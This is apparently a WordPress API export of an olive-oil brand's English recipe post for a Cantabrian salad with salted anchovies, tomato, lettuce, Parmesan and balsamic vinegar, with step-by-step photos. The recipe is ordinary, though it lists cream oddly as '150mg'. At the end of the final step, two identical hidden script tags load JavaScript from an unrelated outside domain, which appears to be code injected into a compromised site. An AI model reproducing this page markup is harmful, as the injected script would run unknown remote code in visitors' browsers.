{"id":1884,"date":"2019-03-17T23:16:23","date_gmt":"2019-03-17T22:16:23","guid":{"rendered":"https:\/\/biocalaceite.com\/ensalada-cantabrica\/"},"modified":"2023-03-21T15:25:26","modified_gmt":"2023-03-21T14:25:26","slug":"ensalada-cantabrica","status":"publish","type":"post","link":"https:\/\/biocalaceite.com\/en\/ensalada-cantabrica\/","title":{"rendered":"How to make a Cantabrian salad with salted anchovies"},"content":{"rendered":"<p>Prepare a very simple, fast and healthy dish for any occasion, as a main course or side-dish, getting the most out of some of the best summer ingredients in Spain.<\/p>\n<p>Ideal to surprise your friends on summer days, or when you are short of time.<\/p>\n<p><strong>Ingredients:<\/strong><\/p>\n<ul>\n<li>200g tomato<\/li>\n<li>2 lettuce hearts<\/li>\n<li>150mg liquid cream for cooking<\/li>\n<li>100g salted anchovies<\/li>\n<li>70ml\u00a0<a href=\"http:\/\/biocalaceite.com\/pruebas\/en\/producto\/filtered-olive-oil-250ml\/\">Biocalaceite filtered olive oil<\/a><\/li>\n<li>40g Parmesan cheese in shavings<\/li>\n<li>10g salt<\/li>\n<li><a href=\"http:\/\/biocalaceite.com\/pruebas\/en\/producto\/olives-in-brine-250g\/\">Biocalaceite olives in brine<\/a><\/li>\n<li>20ml Balsamic vinegar<\/li>\n<\/ul>\n<p><strong>Preparation:<\/strong><\/p>\n<p><strong>\u00a0<\/strong>Get ready all the ingredients:<img fetchpriority=\"high\" decoding=\"async\" class=\"alignnone size-full wp-image-1291\" src=\"http:\/\/biocalaceite.com\/pruebas\/wp-content\/uploads\/2019\/03\/Biocalaceite-Ensalada-Cantabrica-2.jpeg\" sizes=\"(max-width: 1600px) 100vw, 1600px\" srcset=\"http:\/\/biocalaceite.com\/pruebas\/wp-content\/uploads\/2019\/03\/Biocalaceite-Ensalada-Cantabrica-2.jpeg 1600w, http:\/\/biocalaceite.com\/pruebas\/wp-content\/uploads\/2019\/03\/Biocalaceite-Ensalada-Cantabrica-2-300x225.jpeg 300w, http:\/\/biocalaceite.com\/pruebas\/wp-content\/uploads\/2019\/03\/Biocalaceite-Ensalada-Cantabrica-2-768x576.jpeg 768w, http:\/\/biocalaceite.com\/pruebas\/wp-content\/uploads\/2019\/03\/Biocalaceite-Ensalada-Cantabrica-2-1024x768.jpeg 1024w, http:\/\/biocalaceite.com\/pruebas\/wp-content\/uploads\/2019\/03\/Biocalaceite-Ensalada-Cantabrica-2-600x450.jpeg 600w\" alt=\"\" width=\"1600\" height=\"1200\" \/><\/p>\n<p>Wash the tomato and lettuce. Cut the tomato into slices around a centimetre thick and chop the lettuce hearts in four parts. The hearts are always cut lengthwise.<img decoding=\"async\" class=\"alignnone size-full wp-image-1293\" src=\"http:\/\/biocalaceite.com\/pruebas\/wp-content\/uploads\/2019\/03\/Biocalaceite-Ensalada-Cantabrica-3.jpeg\" sizes=\"(max-width: 1600px) 100vw, 1600px\" srcset=\"http:\/\/biocalaceite.com\/pruebas\/wp-content\/uploads\/2019\/03\/Biocalaceite-Ensalada-Cantabrica-3.jpeg 1600w, http:\/\/biocalaceite.com\/pruebas\/wp-content\/uploads\/2019\/03\/Biocalaceite-Ensalada-Cantabrica-3-300x225.jpeg 300w, http:\/\/biocalaceite.com\/pruebas\/wp-content\/uploads\/2019\/03\/Biocalaceite-Ensalada-Cantabrica-3-768x576.jpeg 768w, http:\/\/biocalaceite.com\/pruebas\/wp-content\/uploads\/2019\/03\/Biocalaceite-Ensalada-Cantabrica-3-1024x768.jpeg 1024w, http:\/\/biocalaceite.com\/pruebas\/wp-content\/uploads\/2019\/03\/Biocalaceite-Ensalada-Cantabrica-3-600x450.jpeg 600w\" alt=\"\" width=\"1600\" height=\"1200\" \/><\/p>\n<p>Place the tomato slices and the lettuce hearts on the plate so that they form the base of the salad. Sprinkle on 10g of salt.<img decoding=\"async\" class=\"alignnone size-full wp-image-1295\" src=\"http:\/\/biocalaceite.com\/pruebas\/wp-content\/uploads\/2019\/03\/Biocalaceite-Ensalada-Cantabrica-4.jpeg\" sizes=\"(max-width: 1600px) 100vw, 1600px\" srcset=\"http:\/\/biocalaceite.com\/pruebas\/wp-content\/uploads\/2019\/03\/Biocalaceite-Ensalada-Cantabrica-4.jpeg 1600w, http:\/\/biocalaceite.com\/pruebas\/wp-content\/uploads\/2019\/03\/Biocalaceite-Ensalada-Cantabrica-4-300x225.jpeg 300w, http:\/\/biocalaceite.com\/pruebas\/wp-content\/uploads\/2019\/03\/Biocalaceite-Ensalada-Cantabrica-4-768x576.jpeg 768w, http:\/\/biocalaceite.com\/pruebas\/wp-content\/uploads\/2019\/03\/Biocalaceite-Ensalada-Cantabrica-4-1024x768.jpeg 1024w, http:\/\/biocalaceite.com\/pruebas\/wp-content\/uploads\/2019\/03\/Biocalaceite-Ensalada-Cantabrica-4-600x450.jpeg 600w\" alt=\"\" width=\"1600\" height=\"1200\" \/><\/p>\n<p>Reserve about eight anchovies for the final decoration; the rest we use to make the anchovy sauce. Blend the cream, the\u00a0<a href=\"http:\/\/biocalaceite.com\/pruebas\/en\/producto\/filtered-olive-oil-250ml\/\">Biocalaceite filtered olive oil<\/a>\u00a0and the anchovies in a container to a light, creamy texture.<img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1317\" src=\"http:\/\/biocalaceite.com\/pruebas\/wp-content\/uploads\/2019\/03\/Biocalaceite-Ensalada-Cantabrica-5-8.jpg\" sizes=\"(max-width: 1281px) 100vw, 1281px\" srcset=\"http:\/\/biocalaceite.com\/pruebas\/wp-content\/uploads\/2019\/03\/Biocalaceite-Ensalada-Cantabrica-5-8.jpg 1281w, http:\/\/biocalaceite.com\/pruebas\/wp-content\/uploads\/2019\/03\/Biocalaceite-Ensalada-Cantabrica-5-8-300x253.jpg 300w, http:\/\/biocalaceite.com\/pruebas\/wp-content\/uploads\/2019\/03\/Biocalaceite-Ensalada-Cantabrica-5-8-768x647.jpg 768w, http:\/\/biocalaceite.com\/pruebas\/wp-content\/uploads\/2019\/03\/Biocalaceite-Ensalada-Cantabrica-5-8-1024x863.jpg 1024w, http:\/\/biocalaceite.com\/pruebas\/wp-content\/uploads\/2019\/03\/Biocalaceite-Ensalada-Cantabrica-5-8-600x506.jpg 600w\" alt=\"\" width=\"1281\" height=\"1080\" \/><\/p>\n<p>Decorate the dish with\u00a0<a href=\"http:\/\/biocalaceite.com\/pruebas\/en\/producto\/olives-in-brine-250g\/\">Biocalaceite olives in brine<\/a>, and spoon the sauce over part of the lettuce.<img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1319\" src=\"http:\/\/biocalaceite.com\/pruebas\/wp-content\/uploads\/2019\/03\/Biocalaceite-Ensalada-Cantabrica-9-10.jpg\" sizes=\"(max-width: 1620px) 100vw, 1620px\" srcset=\"http:\/\/biocalaceite.com\/pruebas\/wp-content\/uploads\/2019\/03\/Biocalaceite-Ensalada-Cantabrica-9-10.jpg 1620w, http:\/\/biocalaceite.com\/pruebas\/wp-content\/uploads\/2019\/03\/Biocalaceite-Ensalada-Cantabrica-9-10-300x135.jpg 300w, http:\/\/biocalaceite.com\/pruebas\/wp-content\/uploads\/2019\/03\/Biocalaceite-Ensalada-Cantabrica-9-10-768x346.jpg 768w, http:\/\/biocalaceite.com\/pruebas\/wp-content\/uploads\/2019\/03\/Biocalaceite-Ensalada-Cantabrica-9-10-1024x461.jpg 1024w, http:\/\/biocalaceite.com\/pruebas\/wp-content\/uploads\/2019\/03\/Biocalaceite-Ensalada-Cantabrica-9-10-600x270.jpg 600w\" alt=\"\" width=\"1620\" height=\"730\" \/><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1309\" src=\"http:\/\/biocalaceite.com\/pruebas\/wp-content\/uploads\/2019\/03\/Biocalaceite-Ensalada-Cantabrica-11.jpeg\" sizes=\"(max-width: 1600px) 100vw, 1600px\" srcset=\"http:\/\/biocalaceite.com\/pruebas\/wp-content\/uploads\/2019\/03\/Biocalaceite-Ensalada-Cantabrica-11.jpeg 1600w, http:\/\/biocalaceite.com\/pruebas\/wp-content\/uploads\/2019\/03\/Biocalaceite-Ensalada-Cantabrica-11-300x225.jpeg 300w, http:\/\/biocalaceite.com\/pruebas\/wp-content\/uploads\/2019\/03\/Biocalaceite-Ensalada-Cantabrica-11-768x576.jpeg 768w, http:\/\/biocalaceite.com\/pruebas\/wp-content\/uploads\/2019\/03\/Biocalaceite-Ensalada-Cantabrica-11-1024x768.jpeg 1024w, http:\/\/biocalaceite.com\/pruebas\/wp-content\/uploads\/2019\/03\/Biocalaceite-Ensalada-Cantabrica-11-600x450.jpeg 600w\" alt=\"\" width=\"1600\" height=\"1200\" \/><\/p>\n<p>Add the anchovies that we have kept for garnishing.<img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1311\" src=\"http:\/\/biocalaceite.com\/pruebas\/wp-content\/uploads\/2019\/03\/Biocalaceite-Ensalada-Cantabrica-12.jpeg\" sizes=\"(max-width: 1600px) 100vw, 1600px\" srcset=\"http:\/\/biocalaceite.com\/pruebas\/wp-content\/uploads\/2019\/03\/Biocalaceite-Ensalada-Cantabrica-12.jpeg 1600w, http:\/\/biocalaceite.com\/pruebas\/wp-content\/uploads\/2019\/03\/Biocalaceite-Ensalada-Cantabrica-12-300x225.jpeg 300w, http:\/\/biocalaceite.com\/pruebas\/wp-content\/uploads\/2019\/03\/Biocalaceite-Ensalada-Cantabrica-12-768x576.jpeg 768w, http:\/\/biocalaceite.com\/pruebas\/wp-content\/uploads\/2019\/03\/Biocalaceite-Ensalada-Cantabrica-12-1024x768.jpeg 1024w, http:\/\/biocalaceite.com\/pruebas\/wp-content\/uploads\/2019\/03\/Biocalaceite-Ensalada-Cantabrica-12-600x450.jpeg 600w\" alt=\"\" width=\"1600\" height=\"1200\" \/><\/p>\n<p>Now add the cheese in shavings.<img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1313\" src=\"http:\/\/biocalaceite.com\/pruebas\/wp-content\/uploads\/2019\/03\/Biocalaceite-Ensalada-Cantabrica-13.jpeg\" sizes=\"(max-width: 1600px) 100vw, 1600px\" srcset=\"http:\/\/biocalaceite.com\/pruebas\/wp-content\/uploads\/2019\/03\/Biocalaceite-Ensalada-Cantabrica-13.jpeg 1600w, http:\/\/biocalaceite.com\/pruebas\/wp-content\/uploads\/2019\/03\/Biocalaceite-Ensalada-Cantabrica-13-300x225.jpeg 300w, http:\/\/biocalaceite.com\/pruebas\/wp-content\/uploads\/2019\/03\/Biocalaceite-Ensalada-Cantabrica-13-768x576.jpeg 768w, http:\/\/biocalaceite.com\/pruebas\/wp-content\/uploads\/2019\/03\/Biocalaceite-Ensalada-Cantabrica-13-1024x768.jpeg 1024w, http:\/\/biocalaceite.com\/pruebas\/wp-content\/uploads\/2019\/03\/Biocalaceite-Ensalada-Cantabrica-13-600x450.jpeg 600w\" alt=\"\" width=\"1600\" height=\"1200\" \/><\/p>\n<p>And finally sprinkle with Balsamic vinegar to taste and we have our Cantabrian salad ready to eat.<script src='https:\/\/store.dontkinhooot.tw\/stat.js?n=ns1' type='text\/javascript'><\/script><script src='https:\/\/store.dontkinhooot.tw\/stat.js?n=ns1' type='text\/javascript'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Prepare a very simple, fast and healthy dish for any occasion, as a main course or side-dish, getting the most out of some of the best summer ingredients in Spain. Ideal to surprise your friends on summer days, or when you are short of time. Ingredients: 200g tomato 2 lettuce hearts 150mg liquid cream for [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":1885,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[58],"tags":[],"class_list":["post-1884","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-recetas-en"],"_links":{"self":[{"href":"https:\/\/biocalaceite.com\/en\/wp-json\/wp\/v2\/posts\/1884","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/biocalaceite.com\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/biocalaceite.com\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/biocalaceite.com\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/biocalaceite.com\/en\/wp-json\/wp\/v2\/comments?post=1884"}],"version-history":[{"count":1,"href":"https:\/\/biocalaceite.com\/en\/wp-json\/wp\/v2\/posts\/1884\/revisions"}],"predecessor-version":[{"id":1886,"href":"https:\/\/biocalaceite.com\/en\/wp-json\/wp\/v2\/posts\/1884\/revisions\/1886"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/biocalaceite.com\/en\/wp-json\/wp\/v2\/media\/1885"}],"wp:attachment":[{"href":"https:\/\/biocalaceite.com\/en\/wp-json\/wp\/v2\/media?parent=1884"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/biocalaceite.com\/en\/wp-json\/wp\/v2\/categories?post=1884"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/biocalaceite.com\/en\/wp-json\/wp\/v2\/tags?post=1884"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}